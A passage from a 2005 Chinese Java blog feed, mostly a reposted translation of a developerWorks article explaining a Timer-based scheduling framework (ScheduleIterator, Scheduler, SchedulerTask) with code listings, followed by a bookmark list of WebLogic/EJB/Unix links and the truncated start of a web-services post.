}<BR>}</CCID_CODE></PRE></TD></TR></TBODY></TABLE><BR><BR>注意这段代码与煮蛋计时器应用程序非常相似。AlarmClock 实例拥有一个 Scheduler （而不是 Timer）实例，用于提供必要的计划。启动后，这个闹钟对 SchedulerTask （而不是 TimerTask）进行调度用以发出报警声。这个闹钟不是计划一个任务在固定的延迟时间后执行，而是用 DailyIterator 类描述其计划。在这里，它只是计划任务在每天上午 7:00 执行。下面是一个正常运行情况下的输出： <BR><BR><CCID_NOBR></CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
<TBODY>
<TR>
<TD class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6><PRE><CCID_CODE>Wake up! It&amp;quots 24 Aug 2003 07:00:00.023<BR>Wake up! It&amp;quots 25 Aug 2003 07:00:00.001<BR>Wake up! It&amp;quots 26 Aug 2003 07:00:00.058<BR>Wake up! It&amp;quots 27 Aug 2003 07:00:00.015<BR>Wake up! It&amp;quots 28 Aug 2003 07:00:00.002<BR>...</CCID_CODE></PRE></TD></TR></TBODY></TABLE><BR><BR>DailyIterator 实现了 ScheduleIterator，这是一个将 SchedulerTask 的计划执行时间指定为一系列 java.util.Date 对象的接口。然后 next() 方法按时间先后顺序迭代 Date 对象。返回值 null 会使任务取消（即它再也不会运行）—— 这样的话，试图再次计划将会抛出一个异常。清单 3 包含 ScheduleIterator 接口： <BR><BR>清单 3. ScheduleIterator 接口 <BR><BR><CCID_NOBR></CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
<TBODY>
<TR>
<TD class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6><PRE><CCID_CODE>package org.tiling.scheduling;<BR><BR>import java.util.Date;<BR><BR>public interface ScheduleIterator {<BR> public Date next();<BR>}</CCID_CODE></PRE></TD></TR></TBODY></TABLE><BR><BR>DailyIterator 的 next() 方法返回表示每天同一时间（上午 7:00）的 Date 对象，如清单 4 所示。所以，如果对新构建的 next() 类调用 next()，那么将会得到传递给构造函数的那个日期当天或者后面一天的 7:00 AM。再次调用 next() 会返回后一天的 7:00 AM，如此重复。为了实现这种行为，DailyIterator 使用了 java.util.Calendar 实例。构造函数会在日历中加上一天，对日历的这种设置使得第一次调用 next() 会返回正确的 Date。注意代码没有明确地提到夏令时修正，因为 Calendar 实现（在本例中是 GregorianCalendar）负责对此进行处理，所以不需要这样做。 <BR><BR>清单 4. DailyIterator 类 <BR><BR><CCID_NOBR></CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
<TBODY>
<TR>
<TD class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6><PRE><CCID_CODE>package org.tiling.scheduling.examples.iterators;<BR><BR>import org.tiling.scheduling.ScheduleIterator;<BR><BR>import java.util.Calendar;<BR>import java.util.Date;<BR><BR>/**<BR> * A DailyIterator class returns a sequence of dates on subsequent days<BR> * representing the same time each day.<BR> */<BR>public class DailyIterator implements ScheduleIterator {<BR> private final int hourOfDay, minute, second;<BR> private final Calendar calendar = Calendar.getInstance();<BR><BR> public DailyIterator(int hourOfDay, int minute, int second) {<BR> this(hourOfDay, minute, second, new Date());<BR> }<BR><BR> public DailyIterator(int hourOfDay, int minute, int second, Date date) {<BR> this.hourOfDay = hourOfDay;<BR> this.minute = minute;<BR> this.second = second;<BR> calendar.setTime(date);<BR> calendar.set(Calendar.HOUR_OF_DAY, hourOfDay);<BR> calendar.set(Calendar.MINUTE, minute);<BR> calendar.set(Calendar.SECOND, second);<BR> calendar.set(Calendar.MILLISECOND, 0);<BR> if (!calendar.getTime().before(date)) {<BR> calendar.add(Calendar.DATE, -1);<BR> }<BR> }<BR><BR> public Date next() {<BR> calendar.add(Calendar.DATE, 1);<BR> return calendar.getTime();<BR> }<BR><BR>}</CCID_CODE></PRE></TD></TR></TBODY></TABLE><BR><A href="http://tech.ccidnet.com/pub/article/c322_a78111_p1.html"><BR></A></DIV></TD></TR></TBODY></TABLE><SPAN class=myp111><FONT id=zoom><B>实现计划框架</B> <BR><BR>在上一节，我们学习了如何使用计划框架，并将它与 Java 定时器框架进行了比较。下面，我将向您展示如何实现这个框架。除了 清单 3 中展示的 ScheduleIterator 接口，构成这个框架的还有另外两个类 —— Scheduler 和 SchedulerTask 。这些类实际上在内部使用 Timer 和 SchedulerTask，因为计划其实就是一系列的单次定时器。清单 5 和 6 显示了这两个类的源代码： <BR><BR>清单 5. Scheduler <BR><BR><CCID_NOBR></CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
<TBODY>
<TR>
<TD class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6><PRE><CCID_CODE>package org.tiling.scheduling;<BR><BR>import java.util.Date;<BR>import java.util.Timer;<BR>import java.util.TimerTask;<BR><BR>public class Scheduler {<BR><BR> class SchedulerTimerTask extends TimerTask {<BR> private SchedulerTask schedulerTask;<BR> private ScheduleIterator iterator;<BR> public SchedulerTimerTask(SchedulerTask schedulerTask,<BR> ScheduleIterator iterator) {<BR> this.schedulerTask = schedulerTask;<BR> this.iterator = iterator;<BR> }<BR> public void run() {<BR> schedulerTask.run();<BR> reschedule(schedulerTask, iterator);<BR> }<BR> }<BR><BR> private final Timer timer = new Timer();<BR><BR> public Scheduler() {<BR> }<BR><BR> public void cancel() {<BR> timer.cancel();<BR> }<BR><BR> public void schedule(SchedulerTask schedulerTask,<BR> ScheduleIterator iterator) {<BR><BR> Date time = iterator.next();<BR> if (time == null) {<BR> schedulerTask.cancel();<BR> } else {<BR> synchronized(schedulerTask.lock) {<BR> if (schedulerTask.state != SchedulerTask.VIRGIN) {<BR> throw new IllegalStateException("Task already <BR> scheduled " + "or cancelled");<BR> }<BR> schedulerTask.state = SchedulerTask.SCHEDULED;<BR> schedulerTask.timerTask =<BR> new SchedulerTimerTask(schedulerTask, iterator);<BR> timer.schedule(schedulerTask.timerTask, time);<BR> }<BR> }<BR> }<BR><BR> private void reschedule(SchedulerTask schedulerTask,<BR> ScheduleIterator iterator) {<BR><BR> Date time = iterator.next();<BR> if (time == null) {<BR> schedulerTask.cancel();<BR> } else {<BR> synchronized(schedulerTask.lock) {<BR> if (schedulerTask.state != SchedulerTask.CANCELLED) {<BR> schedulerTask.timerTask =<BR> new SchedulerTimerTask(schedulerTask, iterator);<BR> timer.schedule(schedulerTask.timerTask, time);<BR> }<BR> }<BR> }<BR> }<BR><BR>}</CCID_CODE></PRE></TD></TR></TBODY></TABLE><BR><BR>清单 6 显示了 SchedulerTask 类的源代码： <BR><BR><CCID_NOBR></CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
<TBODY>
<TR>
<TD class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6><PRE><CCID_CODE>package org.tiling.scheduling;<BR><BR>import java.util.TimerTask;<BR><BR>public abstract class SchedulerTask implements Runnable {<BR><BR> final Object lock = new Object();<BR><BR> int state = VIRGIN;<BR> static final int VIRGIN = 0;<BR> static final int SCHEDULED = 1;<BR> static final int CANCELLED = 2;<BR><BR> TimerTask timerTask;<BR><BR> protected SchedulerTask() {<BR> }<BR><BR> public abstract void run();<BR><BR> public boolean cancel() {<BR> synchronized(lock) {<BR> if (timerTask != null) {<BR> timerTask.cancel();<BR> }<BR> boolean result = (state == SCHEDULED);<BR> state = CANCELLED;<BR> return result;<BR> }<BR> }<BR><BR> public long scheduledExecutionTime() {<BR> synchronized(lock) {<BR> return timerTask == null ? 0 : timerTask.scheduledExecutionTime();<BR> }<BR> }<BR><BR>}</CCID_CODE></PRE></TD></TR></TBODY></TABLE><BR><BR>就像煮蛋计时器，Scheduler 的每一个实例都拥有 Timer 的一个实例，用于提供底层计划。Scheduler 并没有像实现煮蛋计时器时那样使用一个单次定时器，它将一组单次定时器串接在一起，以便在由 ScheduleIterator 指定的各个时间执行 SchedulerTask 类。 <BR><BR>考虑 Scheduler 上的 public schedule() 方法 —— 这是计划的入口点，因为它是客户调用的方法（在 取消任务 一节中将描述仅有的另一个 public 方法 cancel()）。通过调用 ScheduleIterator 接口的 next()，发现第一次执行 SchedulerTask 的时间。然后通过调用底层 Timer 类的单次 schedule() 方法，启动计划在这一时刻执行。为单次执行提供的 TimerTask 对象是嵌入的 SchedulerTimerTask 类的一个实例，它包装了任务和迭代器（iterator）。在指定的时间，调用嵌入类的 run() 方法，它使用包装的任务和迭代器引用以便重新计划任务的下一次执行。reschedule() 方法与 schedule() 方法非常相似，只不过它是 private 的，并且执行一组稍有不同的 SchedulerTask 状态检查。重新计划过程反复重复，为每次计划执行构造一个新的嵌入类实例，直到任务或者调度程序被取消（或者 JVM 关闭）。 <BR><BR>类似于 TimerTask，SchedulerTask 在其生命周期中要经历一系列的状态。创建后，它处于 VIRGIN 状态，这表明它从没有计划过。计划以后，它就变为 SCHEDULED 状态，再用下面描述的方法之一取消任务后，它就变为 CANCELLED 状态。管理正确的状态转变 —— 如保证不对一个非 VIRGIN 状态的任务进行两次计划 —— 增加了 Scheduler 和 SchedulerTask 类的复杂性。在进行可能改变任务状态的操作时，代码必须同步任务的锁对象。 <BR><BR><B>取消任务</B> <BR><BR>取消计划任务有三种方式。第一种是调用 SchedulerTask 的 cancel() 方法。这很像调用 TimerTask 的 cancel()方法：任务再也不会运行了，不过已经运行的任务仍会运行完成。 cancel() 方法的返回值是一个布尔值，表示如果没有调用 cancel() 的话，计划的任务是否还会运行。更准确地说，如果任务在调用 cancel() 之前是 SCHEDULED 状态，那么它就返回 true。如果试图再次计划一个取消的（甚至是已计划的）任务，那么 Scheduler 就会抛出一个 IllegalStateException。 <BR><BR>取消计划任务的第二种方式是让 ScheduleIterator 返回 null。这只是第一种方式的简化操作，因为 Scheduler 类调用 SchedulerTask 类的 cancel()方法。如果您想用迭代器而不是任务来控制计划停止时间时，就用得上这种取消任务的方式了。 <BR><BR>第三种方式是通过调用其 cancel() 方法取消整个 Scheduler。这会取消调试程序的所有任务，并使它不能再计划任何任务。 <BR><BR><B>扩展 cron 实用程序</B> <BR><BR>可以将计划框架比作 UNIX 的 cron 实用程序，只不过计划次数的规定是强制性而不是声明性的。例如，在 AlarmClock 实现中使用的 DailyIterator 类，它的计划与 cron 作业的计划相同，都是由以 0 7 * * * 开始的 crontab 项指定的（这些字段分别指定分钟、小时、日、月和星期）。 <BR><BR>不过，计划框架比 cron 更灵活。想像一个在早晨打开热水的 HeatingController 应用程序。我想指示它“在每个工作日上午 8:00 打开热水，在周未上午 9:00 打开热水”。使用 cron，我需要两个 crontab 项（0 8 * * 1,2,3,4,5 和 0 9 * * 6,7）。而使用 ScheduleIterator 的解决方案更简洁一些，因为我可以使用复合（composition）来定义单一迭代器。清单 7 显示了其中的一种方法： <BR><BR>清单 7. 用复合定义单一迭代器 <BR><BR><CCID_NOBR></CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
<TBODY>
<TR>
<TD class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6><PRE><CCID_CODE>int[] weekdays = new int[] {<BR> Calendar.MONDAY,<BR> Calendar.TUESDAY,<BR> Calendar.WEDNESDAY,<BR> Calendar.THURSDAY,<BR> Calendar.FRIDAY<BR> };<BR> int[] weekend = new int[] {<BR> Calendar.SATURDAY,<BR> Calendar.SUNDAY<BR> };<BR> ScheduleIterator i = new CompositeIterator(<BR> new ScheduleIterator[] {<BR> new RestrictedDailyIterator(8, 0, 0, weekdays),<BR> new RestrictedDailyIterator(9, 0, 0, weekend)<BR> }<BR> );</CCID_CODE></PRE></TD></TR></TBODY></TABLE><BR><BR>RestrictedDailyIterator 类很像 DailyIterator，只不过它限制为只在一周的特定日子里运行，而一个 CompositeIterator 类取得一组 ScheduleIterators，并将日期正确排列到单个计划中。 <BR><BR>有许多计划是 cron 无法生成的，但是 ScheduleIterator 实现却可以。例如，“每个月的最后一天”描述的计划可以用标准 Java 日历算法来实现（用 Calendar 类），而用 cron 则无法表达它。应用程序甚至无需使用 Calendar 类。在本文的源代码（请参阅 参考资料）中，我加入了一个安全灯控制器的例子，它按“在日落之前 15 分钟开灯”这一计划运行。这个实现使用了 Calendrical Calculations Software Package，用于计算当地（给定经度和纬度）的日落时间。 <BR><BR><B>实时保证</B> <BR><BR>在编写使用计划的应用程序时，一定要了解框架在时间方面有什么保证。我的任务是提前还是延迟执行？如果有提前或者延迟，偏差最大值是多少？不幸的是，对这些问题没有简单的答案。不过在实际中，它的行为对于很多应用程序已经足够了。下面的讨论假设系统时钟是正确的。 <BR><BR>因为 Scheduler 将计划委托给 Timer 类，Scheduler 可以做出的实时保证与 Timer 的一样。Timer 用 Object.wait(long) 方法计划任务。当前线程要等待直到唤醒它，唤醒可能出于以下原因之一： <BR><BR>1.另一个线程调用对象的 notify() 或者 notifyAll() 方法。 <BR><BR>2.线程被另一个线程中断。 <BR><BR>3.在没有通知的情况下，线程被唤醒（称为 spurious wakeup，Joshua Bloch 的 Effective Java Programming Language Guide 一书中 Item 50 对其进行了描述 。 <BR><BR>4.规定的时间已到。 <BR><BR>对于 Timer 类来说，第一种可能性是不会发生的，因为对其调用 wait() 的对象是私有的。即便如此，Timer 实现仍然针对前三种提前唤醒的原因进行了保护，这样保证了线程在规定时间后才唤醒。目前，Object.wait(long) 的文档注释声明，它会在规定的时间“前后”苏醒，所以线程有可能提前唤醒。在本例中，Timer 会让另一个 wait() 执行（scheduledExecutionTime - System.currentTimeMillis()）毫秒，从而保证任务永远不会提前执行。任务是否会延迟执行呢？会的。延迟执行有两个主要原因：线 程计划和垃圾收集。 <BR><BR>Java 语言规范故意没有对线程计划做严格的规定。这是因为 Java 平台是通用的，并针对于大范围的硬件及其相关的操作系统。虽然大多数 JVM 实现都有公平的线程调度程序，但是这一点没有任何保证 —— 当然，各个实现都有不同的为线程分配处理器时间的策略。因此，当 Timer 线程在分配的时间后唤醒时，它实际执行其任务的时间取决于 JVM 的线程计划策略，以及有多少其他线程竞争处理器时间。因此，要减缓任务的延迟执行，应该将应用程序中可运行的线程数降至最少。为了做到这一点，可以考虑在 一个单独的 JVM 中运行调度程序。 <BR><BR>对于创建大量对象的大型应用程序，JVM 花在垃圾收集（GC）上的时间会非常多。默认情况下，进行 GC 时，整个应用程序都必须等待它完成，这可能要有几秒钟甚至更长的时间（Java 应用程序启动器的命令行选项 -verbose:gc 将导致向控制台报告每一次 GC 事件）。要将这些由 GC 引起的暂停（这可能会影响快速任务的执行）降至最少，应该将应用程序创建的对象的数目降至最低。同样，在单独的 JVM 中运行计划代码是有帮助的。同时，可以试用几个微调选项以尽可能地减少 GC 暂停。例如，增量 GC 会尽量将主收集的代价分散到几个小的收集上。当然这会降低 GC 的效率，但是这可能是时间计划的一个可接受的代价。 <BR><BR><B>被计划到什么时候？</B> <BR><BR>如果任务本身能监视并记录所有延迟执行的实例，那么对于确定任务是否能按时运行会很有帮助。SchedulerTask 类似于 TimerTask，有一个 scheduledExecutionTime() 方法，它返回计划任务最近一次执行的时间。在任务的 run() 方法开始时，对表达式 System.currentTimeMillis() - scheduledExecutionTime() 进行判断，可以让您确定任务延迟了多久执行（以毫秒为单位）。可以记录这个值，以便生成一个关于延迟执行的分布统计。可以用这个值决定任务应当采取什么动 作 —— 例如，如果任务太迟了，那么它可能什么也不做。在遵循上述原则的情况下，如果应用程序需要更严格的时间保证，可参考 Java 的实时规范。 <BR><BR><B>结束语</B> <BR><BR>在本文中，我介绍了 Java 定时器框架的一个简单增强，它使得灵活的计划策略成为可能。新的框架实质上是更通用的 cron —— 事实上，将 cron 实现为一个 ScheduleIterator 接口，用以替换单纯的 Java cron，这是非常有用的。虽然没有提供严格的实时保证，但是许多需要计划定期任务的通用 Java 应用程序都可以使用这一框架。 <BR><BR><B>参考资料</B> <BR><BR>·下载本文中使用的 <A href="ftp://www6.software.ibm.com/software/developer/library/j-schedule.zip">源代码。</A> <BR><BR>·“<A href="http://java.sun.com/docs/hotspot/gc/">Tuning Garbage Collection with the 1.3.1 Java Virtual Machine</A>”是 Sun 的一篇非常有用的文章，它给出了关于如何最小化 GC 暂停时间的提示。 <BR><BR>·要获得 developerWorks 中有关 GC 的更多信息，请参阅以下文章： <BR><BR>“<A href="http://www-900.ibm.com/developerWorks/cn/java/j-jtp10283/">Java 理论与实践：垃圾收集简史</A>” （2003 年 10 月）。 <BR><BR>“<A href="http://www-106.ibm.com/developerworks/ibm/library/i-incrcomp/">Mash that trash</A>”（2003 年 7 月）。 <BR><BR>“<A href="http://www-106.ibm.com/developerworks/ibm/library/i-gctroub/">Fine-tuning Java garbage collection performance</A>”（2003 年 1 月）。 <BR><BR>“<A href="http://www-106.ibm.com/developerworks/ibm/library/i-garbage1/">Sensible sanitation, Part 1</A>”（2002 年 8 月）。 <BR><BR>“<A href="http://www-106.ibm.com/developerworks/ibm/library/i-garbage2/">Sensible sanitation, Part 2</A>”（2002 年 8 月）。 <BR><BR>“<A href="http://www-106.ibm.com/developerworks/ibm/library/i-garbage3/">Sensible sanitation, Part 3</A>”（2002 年 9 月）。 <BR><BR>·在“<A href="http://www-900.ibm.com/developerWorks/cn/java/j-jtp1126/">Java 理论与实践：并发在一定程度上使一切变得简单</A>”（developerWorks， 2002 年 11 月）中，Brian Goetz 讨论了 Doug Lea 的 util.concurrent 库，这是一个并发实用工具类的宝库。 <BR><BR>·Brian Goetz 的另一篇文章“<A href="http://www-106.ibm.com/developerworks/java/library/j-threads2.html">Threading lightly, Part 2: Reducing contention</A>”（developerWorks，2001 年 9 月）分析了线程竞用以及如何减少它。 <BR><BR><B>关于作者</B> <BR><BR>Tom White 是 Kizoom 的首席 Java 开发人员，Kizoom 是一家领先的英国软件公司，提供向移动设备发送个性化旅行信息的服务。客户包括英国的国家火车操作员、伦敦公共交通系统（national train operator），以及英国国家公共汽车公司。自 1999 年成立以来，Kizoom 使用了极限编程的所有方法。自 1996 年起，Tom 一直全职编写 Java 程序，使用了大部分标准和企业 Java API，编写了从客户 Swing GUI 和图形到后端消息传送系统等各种应用程序。他在剑桥大学获得了一级荣誉学位（first class honours degree）。工作之余，Tom 喜欢逗他的小女儿开心，观看 20 世纪 30 年代的好莱坞电影。可以通过 tom@tiling.org 与 Tom 联系。 </FONT></SPAN><img src ="http://www.blogjava.net/kapok/aggbug/11648.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-31 15:15 <a href="http://www.blogjava.net/kapok/archive/2005/08/31/11648.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>MOM备忘录</title><link>http://www.blogjava.net/kapok/archive/2005/08/28/10074.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Sat, 27 Aug 2005 17:57:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/28/10074.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/10074.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/28/10074.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/10074.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/10074.html</trackback:ping><description><![CDATA[MOM备忘录<BR>1.<BR>Overview of WebLogic Server Domains<BR><A href="http://e-docs.bea.com/wls/docs81/adminguide/overview_domain.html">http://e-docs.bea.com/wls/docs81/adminguide/overview_domain.html</A><BR><BR>2.<BR>Overview of Node Manager<BR><A href="http://e-docs.bea.com/wls/docs81/adminguide/nodemgr.html#1153289">http://e-docs.bea.com/wls/docs81/adminguide/nodemgr.html#1153289</A><BR><BR>3.<BR>WebLogic Server Tools<BR><A href="http://e-docs.bea.com/wls/docs81/toolstable/ToolsTable.html#1012180">http://e-docs.bea.com/wls/docs81/toolstable/ToolsTable.html#1012180</A><BR><BR>4.<BR>Using Ant Tasks to Configure a WebLogic Server Domain<BR><A href="http://e-docs.bea.com/wls/docs81/admin_ref/ant_tasks.html">http://e-docs.bea.com/wls/docs81/admin_ref/ant_tasks.html</A><BR><BR>5.<BR>EJB Subsystem Messages<BR><A href="http://e-docs.bea.com/wls/docs81/messages/EJB.html">http://e-docs.bea.com/wls/docs81/messages/EJB.html</A><BR><BR>6.<BR>Web Services<BR><A href="http://e-docs.bea.com/wls/docs81/webservices.html">http://e-docs.bea.com/wls/docs81/webservices.html</A><BR><BR>7.<BR>Web Service Ant Tasks and Command-Line Utilities<BR><A href="http://e-docs.bea.com/wls/docs81/webserv/anttasks.html">http://e-docs.bea.com/wls/docs81/webserv/anttasks.html</A><BR><BR>8.<BR>Programming WebLogic Web Services<BR><A href="http://e-docs.bea.com/wls/docs81/webserv/index.html">http://e-docs.bea.com/wls/docs81/webserv/index.html</A><BR><BR>9.<BR>BEA WebLogic Server and WebLogic Express 8.1 Documentation<BR><A href="http://e-docs.bea.com/wls/docs81/index.html">http://e-docs.bea.com/wls/docs81/index.html</A><BR><BR><BR>感觉最近很多以前知道的都开始模糊了。<BR>10.<BR><FONT color=#ff0000 size=4><STRONG>EJB 工作原理<BR></STRONG></FONT><A href="http://forum.javaeye.com/viewtopic.php?t=3832">http://forum.javaeye.com/viewtopic.php?t=3832</A><BR><BR><BR>11.<BR><A class=maintitle href="http://forum.javaeye.com/viewtopic.php?t=1036&amp;start=0&amp;postdays=0&amp;postorder=asc&amp;highlight="><FONT color=#ff0000 size=4><STRONG>EJB调用的原理分析</STRONG></FONT></A><FONT color=#ff0000 size=4><STRONG> <BR></STRONG></FONT><A href="http://forum.javaeye.com/viewtopic.php?t=1036">http://forum.javaeye.com/viewtopic.php?t=1036</A><BR><BR><BR>12.<BR>Web service:<BR><A href="http://www.javaworld.com.tw/jute/post/view?bid=19&amp;id=101122&amp;sty=1&amp;tpg=1&amp;ppg=1&amp;age=0#101122">http://www.javaworld.com.tw/jute/post/view?bid=19&amp;id=101122&amp;sty=1&amp;tpg=1&amp;ppg=1&amp;age=0#101122</A><BR><BR>13.<BR>听说NetBeans不错<BR>XXXXXX没看到怎么跟Bea集成<BR><BR>14.<BR><U><FONT color=#606420>searchsmb</FONT></U><BR><A href="http://searchsmb.techtarget.com/sDefinition/0,,sid44_gci213231,00.html">http://searchsmb.techtarget.com/sDefinition/0,,sid44_gci213231,00.html</A><BR><BR><BR>15.<BR><A href="http://www.acronymfinder.com/">http://www.acronymfinder.com/</A><BR><BR>16.<BR><A href="http://blog.hjenglish.com/stanley/category/4745.html">http://blog.hjenglish.com/stanley/category/4745.html</A><BR><BR>17.<BR>Unix related:<BR><A href="http://www.yesky.com/20030306/1655486_4.shtml">http://www.yesky.com/20030306/1655486_4.shtml</A><BR><A href="http://www-128.ibm.com/developerworks/cn/linux/sdk/perl/l-p101/">http://www-128.ibm.com/developerworks/cn/linux/sdk/perl/l-p101/</A><BR><A href="http://bbs.chinaunix.net/forum/viewtopic.php?t=218853&amp;show_type=new">http://bbs.chinaunix.net/forum/viewtopic.php?t=218853&amp;show_type=new</A><BR><A href="http://bbs.chinaunix.net/forum/24/20041109/441883.html">http://bbs.chinaunix.net/forum/24/20041109/441883.html</A><BR><A href="http://bbs.chinaunix.net/forum/viewtopic.php?t=218853&amp;show_type=new"></A>调试shell<BR><A href="http://www.chinaitlab.com/www/news/article_show.asp?id=14410">http://www.chinaitlab.com/www/news/article_show.asp?id=14410</A><BR><A href="http://www.linuxforum.net/forum/gshowflat.php?Cat=&amp;Board=vrml&amp;Number=472740&amp;page=0&amp;view=collapsed&amp;sb=5&amp;o=all&amp;fpart">http://www.linuxforum.net/forum/gshowflat.php?Cat=&amp;Board=vrml&amp;Number=472740&amp;page=0&amp;view=collapsed&amp;sb=5&amp;o=all&amp;fpart</A>=<BR><BR><BR><A href="http://www.intuitive.com/wicked/index.shtml">http://www.intuitive.com/wicked/index.shtml</A><BR><A href="http://www.delorie.com/gnu/docs/sh-utils/sh-utils_toc.html#SEC_Contents">http://www.delorie.com/gnu/docs/sh-utils/sh-utils_toc.html#SEC_Contents</A><BR><BR><BR><BR>创意英国<BR><BR><BR>查询专业术语<BR><A href="http://www.informatik.uni-bremen.de/uniform/gdpa/" target=_top><IMG alt="GDPA Homepage" src="http://www.informatik.uni-bremen.de/gdpa/images/header.gif" border=0></A><BR><A href="http://www.informatik.uni-bremen.de/gdpa/i-def_a.htm">http://www.informatik.uni-bremen.de/gdpa/i-def_a.htm</A><BR><A href="http://searchcrm.techtarget.com/sDefinition/0,,sid11_gci789218,00.html">http://searchcrm.techtarget.com/sDefinition/0,,sid11_gci789218,00.html</A><BR><BR><A href="http://e-docs.bea.com/wls/docs81/programming/classloading.html">http://e-docs.bea.com/wls/docs81/programming/classloading.html</A><BR><BR><BR><img src ="http://www.blogjava.net/kapok/aggbug/10074.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-28 01:57 <a href="http://www.blogjava.net/kapok/archive/2005/08/28/10074.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>工作流</title><link>http://www.blogjava.net/kapok/archive/2005/08/22/10740.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Mon, 22 Aug 2005 15:07:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/22/10740.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/10740.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/22/10740.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/10740.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/10740.html</trackback:ping><description><![CDATA[<A href="http://blog.csdn.net/james999">http://blog.csdn.net/james999</A><img src ="http://www.blogjava.net/kapok/aggbug/10740.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-22 23:07 <a href="http://www.blogjava.net/kapok/archive/2005/08/22/10740.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>获得文档样式 Web 服务的好处</title><link>http://www.blogjava.net/kapok/archive/2005/08/22/10654.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Mon, 22 Aug 2005 01:19:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/22/10654.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/10654.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/22/10654.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/10654.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/10654.html</trackback:ping><description><![CDATA[<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR vAlign=top>
<TD width=5></TD>
<TD width="100%">
<TABLE cellSpacing=0 cellPadding=0 width=168 align=right border=0>
<TBODY>
<TR>
<TD width=8><IMG height=21 alt="" src="http://www.ibm.com/i/c.gif" width=5></TD>
<TD width=160>
<TABLE cellSpacing=0 cellPadding=0 width=160 border=0>
<TBODY>
<TR>
<TD width=160 bgColor=#000000 height=1><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD align=middle background=/developerworks/cn/i/bg-gold.gif height=5><B>内容：</B></TD></TR>
<TR>
<TD width=160 bgColor=#666666 height=1><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD>
<TABLE cellSpacing=0 cellPadding=0 width=160 border=0>
<TBODY>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-docstyle/#0">将您的服务设置为使用文档样式</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-docstyle/#1">文档样式的好处</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-docstyle/#2">何时使用文档样式</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-docstyle/#3">结束语</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR><!--Standard links for every dw-article-->
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-docstyle/#resources">参考资料 </A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-docstyle/#author1">关于作者</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-docstyle/#rating">对本文的评价</A></TD></TR>
<TR>
<TD><IMG height=10 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width=160 border=0>
<TBODY>
<TR>
